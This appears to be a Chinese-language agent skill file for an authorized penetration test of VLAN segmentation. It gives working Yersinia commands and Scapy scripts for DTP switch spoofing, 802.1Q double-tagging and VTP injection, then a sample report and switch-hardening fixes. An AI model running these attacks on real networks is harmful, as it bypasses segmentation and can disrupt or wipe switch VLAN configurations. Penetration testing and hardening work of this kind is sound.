| name | performing-vlan-hopping-attack |
| description | 在授权环境中使用交换机欺骗(Switch Spoofing)和双标签(Double Tagging)技术模拟 VLAN 跳转攻击, 测试 VLAN 分段有效性,并验证交换机端口安全配置对二层旁路攻击的抵御能力。
|
| domain | cybersecurity |
| subdomain | network-security |
| tags | ["network-security","vlan-hopping","layer2-attack","switch-security","802.1q"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行 VLAN 跳转攻击
适用场景
- 在授权渗透测试中测试基于 VLAN 的网络分段有效性
- 验证交换机干道端口配置是否能防止未授权的 VLAN 访问
- 评估 802.1Q 标签和本征 VLAN(Native VLAN)配置是否能抵御双标签攻击
- 向网络团队演示为何正确的交换机加固对区域间隔离至关重要
- 验证所有接入端口是否已禁用 DTP(Dynamic Trunking Protocol,动态中继协议)
不要在未获明确授权和变更管理批准的生产交换机上使用,不要针对无安全控制的关键基础设施 VLAN(SCADA、医疗设备),不要将其用作拒绝服务攻击手段。
前置条件
- 明确指定目标 VLAN 和测试交换机范围的书面授权
- 可物理或虚拟访问目标网络的交换机接入端口
- 在 Kali Linux 上安装了 Yersinia、Scapy 和 frogger VLAN 跳转工具
- 了解 802.1Q 中继、DTP 和帧级别的 VLAN 标签
- 可访问交换机 CLI 进行配置验证(只读权限即可)
- 使用 Wireshark 捕获并验证标签帧
工作流程
步骤 1:枚举 VLAN 配置
ip link show eth0
cat /proc/net/vlan/config 2>/dev/null
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether proto 0x88cc' 2>/dev/null
lldpcli show neighbors
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
sudo yersinia -G &
sudo yersinia dtp -attack 0 -interface eth0
nmap -sn 10.10.10.0/24 10.10.20.0/24 10.10.30.0/24
步骤 2:尝试交换机欺骗(DTP 攻击)
sudo yersinia dtp -attack 1 -interface eth0
python3 << 'PYEOF'
from scapy.all import *
from scapy.contrib.dtp import *
dtp_frame = (
Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
SNAP(OUI=0x00000c, code=0x2004) /
DTP(tlvlist=[
DTPDomain(type=0x0001, domain=""),
DTPStatus(type=0x0002, status=b"\x03"),
DTPType(type=0x0003, dtptype=b"\xa5"),
DTPNeighbor(type=0x0004, neighbor=get_if_hwaddr("eth0"))
])
)
sendp(dtp_frame, iface="eth0", count=10, inter=1)
print("[*] DTP Desirable 帧已发送,检查是否协商为中继端口。")
PYEOF
sudo tcpdump -en -i eth0 'vlan' -c 10
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip addr add 10.10.10.99/24 dev eth0.10
sudo ip link set eth0.10 up
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip addr add 10.10.20.99/24 dev eth0.20
sudo ip eth0.20 up
ping -c 3 10.10.10.1
ping -c 3 10.10.20.1
步骤 3:尝试双标签攻击
python3 << 'PYEOF'
from scapy.all import *
target_ip = "10.10.20.10"
target_mac = "ff:ff:ff:ff:ff:ff"
double_tagged = (
Ether(dst=target_mac, src=get_if_hwaddr("eth0")) /
Dot1Q(vlan=1) /
Dot1Q(vlan=20) /
IP(dst=target_ip, src="10.10.20.99") /
ICMP(type=8)
)
sendp(double_tagged, iface="eth0", count=5, inter=1)
print("[*] 已发送针对 VLAN 20 的双标签帧")
print("[!] 注意:双标签攻击为单向攻击——预期不会收到响应")
PYEOF
sudo frogger
tshark -i eth1 -Y "vlan.id == 20 and icmp" -c 10
步骤 4:测试 VTP(VLAN 中继协议)攻击
python3 << 'PYEOF'
from scapy.all import *
vtp_frame = (
Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
SNAP(OUI=0x00000c, code=0x2003) /
Raw(load=bytes([
0x02,
0x01,
0x00,
0x06,
0x54, 0x45, 0x53, 0x54,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xFF, 0xFF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
]))
)
sendp(vtp_frame, iface="eth0", count=1)
print("[*] VTP 摘要通告已发送")
PYEOF
步骤 5:验证交换机配置弱点
步骤 6:记录发现和修复建议
sudo ip link del eth0.10 2>/dev/null
sudo ip link del eth0.20 2>/dev/null
sudo killall yersinia 2>/dev/null
cat > vlan_hopping_report.txt << 'EOF'
VLAN 跳转测试结果
==================
测试日期:$(date)
测试人员:安全评估团队
授权文件:PENTEST-2024-0847
测试 1:DTP 交换机欺骗
结果:存在漏洞 - 3 秒内协商为中继端口
获取访问:VLAN 1, 10, 20, 30, 40
测试 2:双标签攻击
结果:存在漏洞 - 帧从 VLAN 1 到达 VLAN 20
注意:仅单向(无返回流量)
测试 3:VTP 攻击
结果:未测试 - VTP 处于透明模式
EOF
核心概念
| 术语 | 定义 |
|---|
| VLAN 跳转(VLAN Hopping) | 允许攻击者访问未授权 VLAN 流量的二层攻击技术,可绕过网络分段 |
| DTP(动态中继协议) | Cisco 专有协议,自动在交换机间协商中继链路;接入端口未禁用时易受欺骗攻击 |
| 双标签(Double Tagging) | 使用两个 802.1Q 标签封装帧的攻击,利用交换机的本征 VLAN 处理机制将内层标签帧转发到不同 VLAN |
| 本征 VLAN(Native VLAN) | 分配给干道端口未标签帧的 VLAN;当本征 VLAN 与用户 VLAN 相同时,可启用双标签攻击 |
| VTP(VLAN 中继协议) | Cisco 协议,用于在交换机间传播 VLAN 数据库变更;在服务器模式下,带更高修订号的流氓 VTP 消息可覆盖 VLAN 数据库 |
| 802.1Q | IEEE VLAN 标签标准,在以太网帧中插入 4 字节标签,用于在干道链路上标识 VLAN 成员 |
工具与系统
- Yersinia:二层攻击框架,支持 DTP、VTP、STP、CDP、DHCP 和 802.1Q 攻击,提供 GUI 和 CLI 模式
- Scapy:Python 数据包操控库,用于构造自定义 802.1Q 双标签帧和 DTP 协商数据包
- frogger:VLAN 跳转工具,可自动发现本征 VLAN 并执行双标签攻击
- Wireshark:数据包分析器,用于验证 VLAN 标签内容并确认帧是否送达目标 VLAN
- tcpdump:命令行捕获工具,用于监控 802.1Q 标签帧以及 DTP/VTP 协议流量
常见场景
场景:测试 PCI-DSS 持卡人数据环境的 VLAN 分段
背景:零售商需要验证 VLAN 50 上的持卡人数据环境(CDE)是否已与企业网络(VLAN 10)和访客 WiFi(VLAN 30)正确隔离。网络使用带 802.1Q 中继的 Cisco Catalyst 交换机。评估授权从 VLAN 10 的端口进行测试。
方法:
- 连接到 VLAN 10 的接入端口,监听 DTP 帧以确定中继协商状态
- 使用 Yersinia 发送 DTP Desirable 帧——由于未禁用 DTP,端口成功协商为中继
- 创建 VLAN 50 子接口并尝试访问 CDE 系统(10.10.50.0/24)——成功,证明分段被绕过
- 从 VLAN 1(本征 VLAN)到 VLAN 50 尝试双标签攻击——也成功,因为本征 VLAN 是 VLAN 1
- 记录 VLAN 分段因 DTP 错误配置而作为 PCI-DSS 控制措施失效
- 建议在所有接入端口禁用 DTP,将本征 VLAN 更改为未使用的 VLAN,并启用端口安全
注意事项:
- DTP 欺骗可能引发生成树拓扑变更,中断网络连接
- 若本征 VLAN 不是 VLAN 1 或交换机配置正确,双标签可能无法成功
- 在生产环境中发动 VTP 攻击可能删除整个交换域的 VLAN,造成大规模中断
- 测试后忘记删除 VLAN 子接口,导致未授权的 VLAN 访问仍然存在
输出格式
## VLAN 跳转评估报告
**测试编号**:VLAN-HOP-2024-001
**被测交换机**:Core-SW1(Cisco Catalyst 9300)
**攻击者端口**:Gi1/0/24(VLAN 10)
**目标 VLAN**:VLAN 20(服务器),VLAN 50(CDE)
### 测试结果
| 攻击 | 目标 VLAN | 结果 | 影响 |
|------|-----------|------|------|
| DTP 交换机欺骗 | 所有 VLAN | 存在漏洞 | 获得完整中继访问 |
| 双标签攻击 | VLAN 50 | 存在漏洞 | 单向访问 CDE |
| VTP 注入 | N/A | 无漏洞 | VTP 透明模式 |
### 根本原因
1. 接入端口 Gi1/0/24 未禁用 DTP(管理模式:dynamic auto)
2. 所有干道链路的本征 VLAN 为 VLAN 1(默认值)
3. 交换机上未关闭的空闲端口
### 修复建议
1. 在所有接入端口禁用 DTP:`switchport nonegotiate`
2. 将所有接入端口设为静态模式:`switchport mode access`
3. 将本征 VLAN 更改为未使用的 VLAN:`switchport trunk native vlan 999`
4. 关闭所有未使用端口:`shutdown`
5. 在接入端口启用端口安全
6. 在所有交换机上将 VTP 设为透明模式